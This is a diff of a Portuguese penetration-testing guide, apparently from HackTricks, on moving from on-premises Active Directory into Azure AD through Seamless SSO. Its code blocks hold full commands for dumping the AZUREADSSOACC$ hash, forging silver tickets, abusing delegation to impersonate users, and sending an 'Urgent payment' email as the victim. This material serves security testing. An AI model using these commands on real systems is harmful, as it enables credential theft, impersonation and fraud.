|
||||
- **Um TGT de um usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Um hash ou senha de usuário comprometido:** SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT e, em seguida, o TGS.
|
||||
- **Um ticket dourado:** Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
|
||||
- **O hash ou senha da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ter qualquer um dos requisitos anteriores torna muito fácil usar a ferramenta **SeamlessPass** para acessar os recursos em nuvem como o usuário comprometido, ou como qualquer usuário se você tiver o hash ou senha da conta **`AZUREADSSOACC$`**.
|
||||
|
||||
Finalmente, com o TGT é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Obtendo hashes da conta AZUREADSSOACC$
|
||||
|
||||
A **senha** do usuário **`AZUREADSSOACC$` nunca muda**. Portanto, um administrador de domínio poderia comprometer o **hash desta conta** e, em seguida, usá-lo para **criar tickets silver** para se conectar ao Azure com **qualquer usuário local sincronizado**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +87,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Com o hash, você agora pode **gerar tickets silver**:
|
||||
> [!NOTE]
|
||||
> Com as informações atuais, você poderia apenas usar a ferramenta **SeamlessPass** conforme indicado anteriormente para obter tokens azure e entraid para qualquer usuário no domínio.
|
||||
> Você também poderia usar as técnicas anteriores (e outras) para obter o hash da senha da vítima que deseja impersonar em vez da conta `AZUREADSSOACC$`.
|
||||
|
||||
#### Criando Silver Tickets
|
||||
|
||||
Com o hash, você agora pode **gerar silver tickets**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Usando Silver Tickets com Firefox
|
||||
|
||||
Para utilizar o silver ticket, os seguintes passos devem ser executados:
|
||||
|
||||
1. **Iniciar o Navegador:** O Mozilla Firefox deve ser iniciado.
|
||||
2. **Configurar o Navegador:**
|
||||
- Navegue até **`about:config`**.
|
||||
- Defina a preferência para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) para os [valores](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificados:
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- Defina a preferência para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) para o [valor](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificado:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Navegue até `Configurações` do Firefox > Pesquise por `Permitir autenticação única do Windows para contas Microsoft, de trabalho e escolares` e ative-a.
|
||||
3. **Acessar a Aplicação Web:**
|
||||
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [Office 365](https://portal.office.com/).
|
||||
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Processo de Autenticação:**
|
||||
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.
|
||||
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco.
|
||||
- Para prosseguir, pressione TAB ou ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> Isso não contorna o MFA se estiver habilitado
|
||||
> [!WARNING]
|
||||
> Isso **não contorna o MFA se habilitado** para o usuário.
|
||||
|
||||
#### Opção 2 sem dcsync - SeamlessPass
|
||||
|
||||
Também é possível realizar este ataque **sem um ataque dcsync** para ser mais furtivo, como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para isso, você só precisa de um dos seguintes:
|
||||
### On-prem -> Cloud via Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
- **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas, como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
|
||||
- **Hash NTLM ou chave AES de um usuário comprometido:** O SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT.
|
||||
- **Hash NTLM ou chave AES da conta AZUREADSSOACC$:** Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
|
||||
Para realizar o ataque é necessário:
|
||||
|
||||
Finalmente, com o TGT, é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com:
|
||||
- `WriteDACL` / `GenericWrite` sobre `AZUREADSSOACC$`
|
||||
- Uma conta de computador que você controla (hash e senha) - Você pode criar uma
|
||||
|
||||
|
||||
1. Passo 1 – Adicione sua própria conta de computador
|
||||
- Cria `ATTACKBOX$` e imprime seu SID/hash NTLM. Qualquer usuário do domínio pode fazer isso enquanto MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
2. Etapa 2 – Conceder RBCD em `AZUREADSSOACC$` - Escreve o SID da sua máquina em `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
Mais informações para configurar o Firefox para funcionar com SSO sem interrupções podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
3. Etapa 3 – Forjar um TGS para qualquer usuário (por exemplo, alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
#### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário da nuvem**. Dessa forma, os **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Você agora pode usar o **TGS para acessar recursos do Azure como o usuário impersonado.**
|
||||
|
||||
|
||||
### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário na nuvem**. Dessa forma, **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\
|
||||
> Para mais informações, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Nuvem via Delegação Constrained Baseada em Recurso <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Qualquer pessoa que possa gerenciar contas de computador (`AZUREADSSOACC$`) no contêiner ou OU em que essa conta está, pode **configurar uma delegação constrained baseada em recurso sobre a conta e acessá-la**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
```
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: Estou na sua nuvem, lendo os e-mails de todo mundo - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [TR19: Estou na sua nuvem, lendo os e-mails de todos - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user